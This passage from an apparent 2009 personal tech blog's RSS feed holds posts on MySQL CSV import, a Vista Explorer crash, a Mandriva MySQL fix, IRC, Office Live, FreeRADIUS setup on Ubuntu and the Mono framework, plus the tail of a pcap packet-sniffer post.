struct pcap_pkthdr *h)&lt;/code&gt; &lt;/div&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;Once you have captured the packet next is to extract information from it. I'll explain in my next post about the extraction of protocol related fields from the packet. Till then bye and have a nice day :)&lt;/div&gt;
</description>
<pubDate>Mon, 30 Mar 2009 00:00:00 -0700</pubDate>
<link>http://copyninja.info/2009/03/packet-sniffer-using-pcap-utility.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/03/packet-sniffer-using-pcap-utility.html</guid>
</item>



<item>
<title>Importing a CSV Files into MySQL</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;CSV stands for Coma separated Values. Normally in this file each field is separated from other using &quot;,&quot;. Well as part of my project I created a sniffer which will be sitting on the gateway and captures all packet coming and going to and from it. I needed to record all the traffic which I capture. Bestway is to dump it into a log file. First I thought of using space as delimeter but our sir told its better to use CSV instead so I seperated each fields using coma's. As per the requirement of the project I needed to create different forms of graphs. First I thought of creating graphs statically at the end of each day by using the Crontab facility. But our sir wanted us to make this graph generation dynamically. Well using flat file which grows very fast really gave us a head ache. But I read in some site that I can easily import the CVS files into any application. I stumbled uppon the PHPMyAdmins import facility which supports importing data from CSV File. I got the query from PHPMyAdmin to do the job.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;Let me tell how to import your log files into database.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;1. Create a table with number of fields equal to number of fields in your fail.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;2. Use the LOAD DATA command to get files content into table. Below is the syntax of the command&lt;/div&gt;&lt;br /&gt;&lt;pre name=&quot;cde&quot; class=&quot;sql&quot;&gt;LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'&lt;br /&gt;    [REPLACE | IGNORE]&lt;br /&gt;    INTO TABLE tbl_name&lt;br /&gt;    [CHARACTER SET charset_name]&lt;br /&gt;    [{FIELDS | COLUMNS}&lt;br /&gt;        [TERMINATED BY 'string']&lt;br /&gt;        [[OPTIONALLY] ENCLOSED BY 'char']&lt;br /&gt;        [ESCAPED BY 'char']&lt;br /&gt;    ]&lt;br /&gt;    [LINES&lt;br /&gt;        [STARTING BY 'string']&lt;br /&gt;        [TERMINATED BY 'string']&lt;br /&gt;    ]&lt;br /&gt;    [IGNORE number LINES]&lt;br /&gt;    [(col_name_or_user_var,...)]&lt;br /&gt;    [SET  = expr,...]&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For example my log file consisted of 8 fields. Format is shown below&lt;/div&gt;&lt;blockquote&gt;timestamp,eth_src,ip_src,src_port,eth_dest,ip_dest,dest_port,protocol&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;I created table to consist these 10 fields with time stamp as primary key and used &lt;b&gt;load data&lt;/b&gt; command as follows&lt;/div&gt;&lt;pre name=&quot;code&quot; class=&quot;sql&quot;&gt;LOAD DATA LOCAL INFILE '/var/log/sniffer.log' IGNORE INTO TABLE `sniffer`&lt;br /&gt;FIELDS TERMINATED BY ','&lt;br /&gt;ESCAPED BY '\\'&lt;br /&gt;LINES TERMINATED BY '\n'&lt;/pre&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&amp;nbsp;In your log file delimeter can be any charachter you want, you just need to specify it as &lt;b&gt;FIELDS TERMINATED BY ','&lt;/b&gt;. Similarly you can specify the line terminator also.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;For more information about this command refer this &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/load-data.html&quot;&gt;link&lt;/a&gt;. Also don't forget to try out &lt;a href=&quot;http://www.phpmyadmin.net/&quot;&gt;PHPMyAdmin&lt;/a&gt;&lt;/div&gt;
</description>
<pubDate>Sat, 07 Mar 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/03/importing-a-csv-files-into-mysql.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/03/importing-a-csv-files-into-mysql.html</guid>
</item>



<item>
<title>Windows Vista – Explorer Restarting ????</title>
<description>&lt;div class=&quot;wlWriterEditableSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:a9d45784-2913-4b8e-a612-31ac47147cf1&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Vista+problem&quot; rel=&quot;tag&quot;&gt;Vista problem&lt;/a&gt;&lt;/div&gt;  &lt;p&gt;&lt;/p&gt;  &lt;div align=&quot;justify&quot;&gt;   &lt;p&gt;&lt;/p&gt;    &lt;p&gt;Well this is new problem I found in my friends laptop. He is running Vista in his HP Pavilion laptop. When he starts his system windows error reporting facility pops up a message saying “Windows Explorer has stopped working” and gives a option to restart explorer. But even after restarting same message pops up again and this continues indefinitely. Well if only message pops up there will not be in a problem but when message pops up entire desktop stops working only way to access the system is through task manager there also for each click on folder to work I need to close error message box. I tried searching solution for this problem in Google. Look at the first page in Google search I got not even single entry about this problem by Microsoft !!, all entries are from some forums &lt;a href=&quot;http://www.google.co.in/search?rlz=1C1GGLS_enIN300IN305&amp;amp;sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=Windows+explorer+has+stopped+working+%2B+Vista&quot; target=&quot;_blank&quot;&gt;Click here&lt;/a&gt;. The problem mentioned in the forum was similar to what I’m currently facing but their solution didn’t work for me. I tried using one tip suggested by &lt;a href=&quot;http://platonic.techfiz.info&quot; target=&quot;_blank&quot;&gt;techfiz&lt;/a&gt; i.e. to start Windows in safe mode and disable all&amp;#160; start up service and then scanning the system. Well it also went in vain.&amp;#160; Now backed up data in the system into my external hard disk and re installed entire system.&lt;/p&gt;    &lt;p&gt;&lt;/p&gt;    &lt;div align=&quot;justify&quot;&gt;     &lt;p&gt;I don’t understand why Vista is so vulnerable to software. My another friend when installed Alcohol a virtual drive software his system started restarting indefinitely and final option we used was demolishing Vista and installing XP. MS should have at least tested Vista before sending it to market. Well I hope Windows 7 doesn’t follow the same path as Vista.&amp;#160; &lt;/p&gt;   &lt;/div&gt;    &lt;p&gt;&lt;/p&gt;    &lt;p&gt;&amp;#160;&lt;/p&gt;    &lt;p&gt;&lt;/p&gt; &lt;/div&gt;
</description>
<pubDate>Sun, 22 Feb 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/02/windows-vista-explorer-restarting.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/02/windows-vista-explorer-restarting.html</guid>
</item>



<item>
<title>MySQL problem in Mandriva 2009 Solved</title>
<description>&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;I had mentioned in my &lt;a href=&quot;http://vasudevkamath.techfiz.com/2009/01/06/mysql-failing-to-start-in-mandriva-2009/&quot;&gt;techfiz blog&lt;/a&gt;&amp;nbsp; about MySQL server failing to get started in the Mandriva 2009. When you try to start &lt;span style=&quot;color: #339966;&quot;&gt;mysqld&lt;/span&gt; you may get this error.&lt;/div&gt;&lt;blockquote&gt;ERROR: hostname cannot be localhost, mysql_install_db is quite unstable&lt;br /&gt;https://qa.mandriva.com/show_bug.cgi?id=38398&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;The link in the error message leads to Mandriva forum which tells to uninstall and then re-install it with MySQL package of Mandriva 2008. But this didn't solve the problem for me. Actually solution is simple. As you can see in the error message it tells that host name can't be localhost. So I tried changin the host name and it actually worked !!. Try following commands.&lt;/div&gt;&lt;blockquote&gt;[root@localhost vasudev]# hostname vasudev&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;This command changes hostname to my name instead of localhost. Now try starting mysqld and you will get some warning message which is shown below&lt;/div&gt;&lt;blockquote&gt;[root@localhost vasudev]# /etc/init.d/mysqld start&lt;br /&gt;Initializing MySQL database:&lt;br /&gt;WARNING: The host 'vasudev' could not be looked up with resolveip.&lt;br /&gt;This probably means that your libc libraries are not 100 % compatible&lt;br /&gt;with this binary MySQL version. The MySQL daemon, mysqld, should work&lt;br /&gt;normally with the exception that host name resolving will not work.&lt;br /&gt;This means that you should use IP addresses instead of hostnames&lt;br /&gt;when specifying MySQL privileges !&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;This is just because daemon is not able to find your new host name in &lt;span style=&quot;color: green;&quot;&gt;/etc/hosts&lt;/span&gt; file, Just chage the localhost in /etc/hosts file to your new host name and restart the mysqld and your problem is solved. Once you change the /etc/hosts file it should look similar to this.&lt;/div&gt;&lt;blockquote&gt;&lt;span style=&quot;color: #339966;&quot;&gt;127.0.0.1&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; vasudev&lt;/span&gt;&lt;/blockquote&gt;&lt;div mce_style=&quot;text-align: justify&quot; style=&quot;text-align: justify;&quot;&gt;I hope this will solve the problem for all of you :)&lt;/div&gt;
</description>
<pubDate>Sat, 14 Feb 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/02/mysql-problem-in-mandriva-2009-solved.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/02/mysql-problem-in-mandriva-2009-solved.html</guid>
</item>



<item>
<title>IRC - A Best way to Learn new things</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;Well IRC stands for Internet Relay Chat. A real time chat protocol. For using you don't have to be registered with  any of Mail service providers like (gmail, hotmail, yahoo etc.). You just need to attach your self to a server. Don't worry you only need to specify a server rest is done by your IRC software. There are many IRC servers are available some of them are &lt;a href=&quot;irc://freenode&quot;&gt;freenode&lt;/a&gt;, &lt;a title=&quot;mznet&quot; href=&quot;irc://moznet/&quot;&gt;moznet&lt;/a&gt;, &lt;a title=&quot;dalnet&quot; href=&quot;irc://dalnet/&quot;&gt;dalnet&lt;/a&gt;.(This links don't point to web pages !). Ok once you attach yourself to some of the server you need to join some channels. Channels here are nothing but real time discussion groups.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Well you may ask what is the big deal in IRC? Well here you find many useful channels(discussion groups) related to javascript, Java,Linux and many other technical non technical channels. So  if you are a programmer and you get stuck in  your program and don't know what to do then you can ask your doubts here you will definitely get answers for your problem. Most of the answers you get are from developers itself who have solved the problems. Many development companies have their own IRC channels to help developers and thier users. You can get help here 24X7.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Finally you can create your own channel and chat with your friends ! you can make it public or private channel also restrict number of users.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Here are some basic commands you need to use IRC each commands begin with a /&lt;/p&gt;

&lt;blockquote&gt;/attach    attach your self to a server (/attach freenode)

/join        join or create a new channel (/join #kannada)

/list         lists channels that are available

/leave      disconects from the current channel

/nick       to change your nick name in IRC (/nick vasu sets my name to vasu)&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;If you need further help you can use this &lt;a title=&quot;IRC help&quot; href=&quot;http://www.irchelp.org/&quot;&gt;site&lt;/a&gt;. There are many IRC software like Pidgin (works in WINDOWS also) X-Chat and if you don't want to install software you can use Chatzilla add-on for firefox. One last thing I want to say is please don't misbehave in channels or else you may get booted (kicked) out of it :)&lt;/p&gt;
</description>
<pubDate>Mon, 26 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/irc-a-best-way-to-learn-new-things.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/irc-a-best-way-to-learn-new-things.html</guid>
</item>



<item>
<title>Microsoft Office Live</title>
<description>&lt;div align=&quot;justify&quot;&gt;&lt;div align=&quot;justify&quot;&gt;We know about Google docs now the MS has also entered the same field by starting &lt;a href=&quot;http://workspace.office.live.com/&quot; target=&quot;_blank&quot;&gt;Office Live.&lt;/a&gt; I came across this when I installed Windows Live writer. Windows Live software suit consists of Office Live Add-in. When you click on it you will be taken to website &lt;a href=&quot;http://workspace.office.live.com./&quot; title=&quot;http://workspace.office.live.com&quot;&gt;http://workspace.office.live.com.&lt;/a&gt; You need to login with your Live ID. Well there is a big difference between Google Docs and Office Live &lt;/div&gt;&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;Google Docs allows you to create docs online and also allows offline access to the documents using Google Gears. Well story in Office Live is different when you click on new word it Launches Word in your PC !!!! Well my system has 512MB RAM and System got hung and I had to press reset button. Their site it takes lot of time to load in slow internet with all flashy things. Huh what else can I expect . (Well its my fault that I’ve less RAM :) ).&lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;You can also access it from you Office software. See image below.&lt;/div&gt;&lt;a href=&quot;http://lh6.ggpht.com/_Pms4ehFPMfI/SXW0OW0XIdI/AAAAAAAAAgk/NjY5EwmdFeI/s1600-h/untitled%5B8%5D.jpg&quot;&gt;&lt;img alt=&quot;untitled&quot; border=&quot;0&quot; height=&quot;297&quot; src=&quot;http://lh3.ggpht.com/_Pms4ehFPMfI/SXW0TGM1C7I/AAAAAAAAAgo/1BB7icFIMUI/untitled_thumb%5B6%5D.jpg?imgmax=800&quot; style=&quot;border: 0px none; display: inline;&quot; title=&quot;untitled&quot; width=&quot;269&quot; /&gt;&lt;/a&gt; &lt;br /&gt;&lt;div align=&quot;justify&quot;&gt;Well this is a good news for all those who want to do their work in MS Office. Hope the beta label will be removed soon….&lt;/div&gt;&lt;/div&gt;&lt;div align=&quot;justify&quot;&gt;&lt;/div&gt;
</description>
<pubDate>Tue, 20 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/microsoft-office-live.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/microsoft-office-live.html</guid>
</item>



<item>
<title>RADIUS on Ubuntu 8.10(Interpid Ibex)</title>
<description>&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;After facing many problems in Mandriva 2009 I finally changed to Ubuntu 8.10 and I'm happy with Ubuntu now. I successfully installed Free RADIUS on Ubuntu. I want to tell a few things on installing Free RADIUS on Ubuntu in this post.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;First let me tell a few things about RADIUS. RADIUS(&lt;a title=&quot;RFC 2856&quot; href=&quot;http://www.ietf.org/rfc/rfc2865.txt&quot; target=&quot;_blank&quot;&gt;rfc 2865&lt;/a&gt;) stands for&lt;span style=&quot;color: #ff0000&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;Remote Authentication Dial-In User Service&lt;/span&gt; &lt;span&gt;is a protocol that provides Centralised access, Authorization and Accounting management for computers that connect to network resources. RADIUS provides AAA service (Authentication, Authorisation, Accounting). This is normally used by ISP's, for authentication in Wireless networks. It is also used for providing  IEEE 802.1x security. RADIUS supports many authentication methods which I'll elaborate on next post.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;First you need to install Free RADIUS use following command to get it&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;$sudo apt-get install freeradius*&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;I mentioned * because I wanted to install all the Free RADIUS packages. Once installation is complete to check the free radius is working use follwing command&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;sudo freeradius -X&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;I want to mention one thing here normally the RADIUS daemon is named &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;radisud, &lt;span&gt;but in Ubuntu it is named as &lt;span&gt;freeradius. &lt;span&gt;The above command runs RADIUS daemon in debug mode and you will get a list of output on the screen. Don't worry just press Ctrl-C and kill the process. Now to start RADIUS daemon in normal mode type in following command.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;sudo /etc/init.d/freeradius start&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;Command prompt will return immediately. To check whether daemon is running type in following command&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;ps -e | grep freeradius&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;You should get output like this&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;5630 ?     00:00:00 freeradius&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;Well not getting it don't worry there is a small problem which is need to be fixed. When I checked the freeradius log situated in &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;/var/log/freeradius/radius.log&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;I found problem is because daemon is not able to read its pid file&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; &lt;span style=&quot;color: #ff0000&quot;&gt;/var/run/radiusd/radiusd.pid&lt;/span&gt;. &lt;span&gt;Now open the &lt;span style=&quot;color: #ff0000&quot;&gt;radiusd.conf&lt;/span&gt; file, normally it is found in &lt;span style=&quot;color: #ff0000&quot;&gt;/etc/raddb/&lt;/span&gt; folder but in Ubuntu its placed under &lt;span style=&quot;color: #ff0000&quot;&gt;/etc/freeradius/&lt;/span&gt; folder.  Find for following line.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;run_dir = ${localstatedir}/run/radiusd/&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;change &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;radiusd&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; to&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; freeradius&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;What actually happened here is freeradius daemon was trying to open radius.pid file in radiusd directory but the directory was renamed in Ubuntu as freeradius. Well now start the server as mentioned above and use grep in pipeline with ps -e to see whether it is running. You can also use radtest command to check this.&lt;/span&gt;&lt;/p&gt;

&lt;blockquote&gt;&lt;span style=&quot;color: #333333&quot;&gt;radtest test secret localhost 1812 testing123&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span style=&quot;color: #333333&quot;&gt;You may get &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;Access-Reject&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; packet but it doesn't matter we just wanted to know whether daemon is runnig or not and we got our answer as it is running. In the above command &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; is user name &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;secret&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; is password for test. &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;localhost&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; I think you know what it means :) &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;1812&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; is the port number to which RADIUS daemon listens waiting for &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;authentication packet&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;. &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;1813&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt; is the port at which it listens for &lt;/span&gt;&lt;span style=&quot;color: #ff0000&quot;&gt;accounting packet&lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;, more details on this in my next post. &lt;span style=&quot;color: #ff0000&quot;&gt;testing123&lt;/span&gt; is a &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;shared secret key &lt;/span&gt;&lt;span style=&quot;color: #333333&quot;&gt;between NAS and RADIUS you must change this to strong value.&lt;/span&gt;&lt;/p&gt;
</description>
<pubDate>Mon, 19 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/radius-on-ubuntu-810interpid-ibex.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/radius-on-ubuntu-810interpid-ibex.html</guid>
</item>



<item>
<title>mono - A .NET Framework for Linux (cross platform)</title>
<description>&lt;p style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s1600-h/mono-logo.png&quot;&gt;&lt;img class=&quot;aligncenter&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s320/mono-logo.png&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;margin-left: 1em;margin-right: 1em&quot;&gt;
&lt;/span&gt;Mono is a Cross platform .NET framework development project lead by &lt;a title=&quot;Novell&quot; href=&quot;http://www.novell.com/&quot; target=&quot;_blank&quot;&gt;Novell&lt;/a&gt;. Its main aim is to create a .NET comaptible set of tools that can be run on Linux, BSD, UNIX, Mac OS, Solaris and Windows operating system !. Its licensed under &lt;a title=&quot;GPL&quot; href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; target=&quot;_self&quot;&gt;GPL&lt;/a&gt;, &lt;a title=&quot;LGPL&quot; href=&quot;http://www.gnu.org/licenses/lgpl.html&quot; target=&quot;_blank&quot;&gt;LGPL&lt;/a&gt; and &lt;a title=&quot;MIT&quot; href=&quot;http://en.wikipedia.org/wiki/MIT_License&quot; target=&quot;_blank&quot;&gt;MIT&lt;/a&gt;. First version of Mono was released in 2004 and current release is mono 2.0. Current release provides the core API's of .NET framework and Visual Basic .NET and C# version 2.0. It also supports Java, &lt;a title=&quot;Boo&quot; href=&quot;http://boo.codehaus.org/Home&quot; target=&quot;_blank&quot;&gt;Boo&lt;/a&gt;, Python, Javascript, PHP etc.
&lt;/p&gt;&lt;p style=&quot;text-align: justify&quot;&gt;Mono consists of 3 groups of components&lt;/p&gt;

&lt;ol&gt;
	&lt;li&gt;Core components&lt;/li&gt;
	&lt;li&gt;Mono/Linux/GNOME development stack&lt;/li&gt;
	&lt;li&gt;Microsoft compatibility stack&lt;/li&gt;
&lt;/ol&gt;
&lt;p style=&quot;text-align: center&quot;&gt;&lt;strong&gt;Frame work architecture of Mono&lt;/strong&gt;
&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s1600-h/400px-Mono_architecture.svg.png&quot;&gt;&lt;img class=&quot;aligncenter&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s320/400px-Mono_architecture.svg.png&quot; border=&quot;0&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;
&lt;/p&gt;&lt;p style=&quot;text-align: center&quot;&gt;&lt;strong&gt;Mono and Microsoft'w patent issue&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 13px;font-style: normal;font-variant: normal;font-weight: normal;font-family: -webkit-sans-serif;color: #000000&quot;&gt;On&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;November 2,&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;2006, Microsoft and Novell announced a joint agreement whereby Microsoft agreed to not sue Novell’s customers for patent infringement.&lt;sup&gt;&lt;span&gt;[&lt;/span&gt;10&lt;span&gt;]&lt;/span&gt;&lt;/sup&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;According to Mono project leader Miguel de Icaza,&lt;sup&gt;&lt;span&gt;[&lt;/span&gt;11&lt;span&gt;]&lt;/span&gt;&lt;/sup&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;this agreement extends to Mono but only for Novell developers and customers. It was criticized by some members of the&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;a title=&quot;Free software community&quot; href=&quot;http://en.wikipedia.org/wiki/Free_software_community&quot;&gt;free software community&lt;/a&gt;&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;because it violates the principles of giving equal rights to all users of a particular program (see&lt;span class=&quot;Apple-converted-space&quot;&gt; &lt;/span&gt;&lt;a title=&quot;Novell&quot; href=&quot;http://en.wikipedia.org/wiki/Novell#Agreement_with_Microsoft&quot;&gt;Novell and their Patent Agreement with Microsoft&lt;/a&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Currently &lt;a title=&quot;GNOME&quot; href=&quot;http://en.wikipedia.org/wiki/GNOME&quot;&gt;GNOME &lt;/a&gt;is using mono packages and some of the application for GNOME like Banshi, Beagle desktop search, F-spot are developed using Mono API.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Mono is also providing MonoDevelop a free C# and ASP .NET IDE. You can download it and other Mono packages for your system from Mono's project website here is the link &lt;a title=&quot;http://www.mono-project.com/Main_Page&quot; href=&quot;http://www.mono-project.com/Main_Page&quot; target=&quot;_blank&quot;&gt;http://www.mono-project.com/Main_Page&lt;/a&gt;.&lt;/p&gt;
&lt;p style=&quot;text-align: justify&quot;&gt;Overall I can say Microsoft's propereitary .NET framework which is developed only for Windows XP can now be migrated to all the platforms due to the efforts of Open source community. ;) (You can get full explanation of Framework architecture of Mono in Wikipedia and Mono project Website).&lt;/p&gt;

&lt;strong&gt;Source:&lt;/strong&gt;

&lt;a title=&quot;Wikepedia&quot; href=&quot;http://en.wikipedia.org/wiki/Mono_(software)&quot;&gt;Wikepedia&lt;/a&gt;

&lt;a title=&quot;Mono&quot; href=&quot;http://www.mono-project.com/Main_Page&quot;&gt;Mono project website&lt;/a&gt;
</description>
<pubDate>Sun, 11 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/mono-a-net-framework-for-linux-cross-platform.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/mono-a-net-framework-for-linux-cross-platform.html</guid>
</item>



<item>
<title>mono - A .NET frame work for Linux (Cross Platform)</title>
<description>&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s1600-h/mono-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/_Pms4ehFPMfI/SWoKE6wY_4I/AAAAAAAAAf4/ornFYIMNEmU/s320/mono-logo.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;Mono is a Cross platform .NET framework development project lead by &lt;a href=&quot;http://www.novell.com/&quot; mce_href=&quot;http://www.novell.com/&quot; target=&quot;_blank&quot; title=&quot;Novell&quot;&gt;Novell&lt;/a&gt;. Its main aim is to create a .NET comaptible set of tools that can be run on Linux, BSD, UNIX, Mac OS, Solaris and Windows operating system !. Its licensed under &lt;a href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; mce_href=&quot;http://www.gnu.org/copyleft/gpl.html&quot; target=&quot;_self&quot; title=&quot;GPL&quot;&gt;GPL&lt;/a&gt;, &lt;a href=&quot;http://www.gnu.org/licenses/lgpl.html&quot; mce_href=&quot;http://www.gnu.org/licenses/lgpl.html&quot; target=&quot;_blank&quot; title=&quot;LGPL&quot;&gt;LGPL&lt;/a&gt; and &lt;a href=&quot;http://en.wikipedia.org/wiki/MIT_License&quot; mce_href=&quot;http://en.wikipedia.org/wiki/MIT_License&quot; target=&quot;_blank&quot; title=&quot;MIT&quot;&gt;MIT&lt;/a&gt;. First version of Mono was released in 2004 and current release is mono 2.0. Current release provides the core API's of .NET framework and Visual Basic .NET and C# version 2.0. It also supports Java, &lt;a href=&quot;http://boo.codehaus.org/Home&quot; mce_href=&quot;http://boo.codehaus.org/Home&quot; target=&quot;_blank&quot; title=&quot;Boo&quot;&gt;Boo&lt;/a&gt;, Python, Javascript, PHP etc.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;Mono consists of 3 groups of 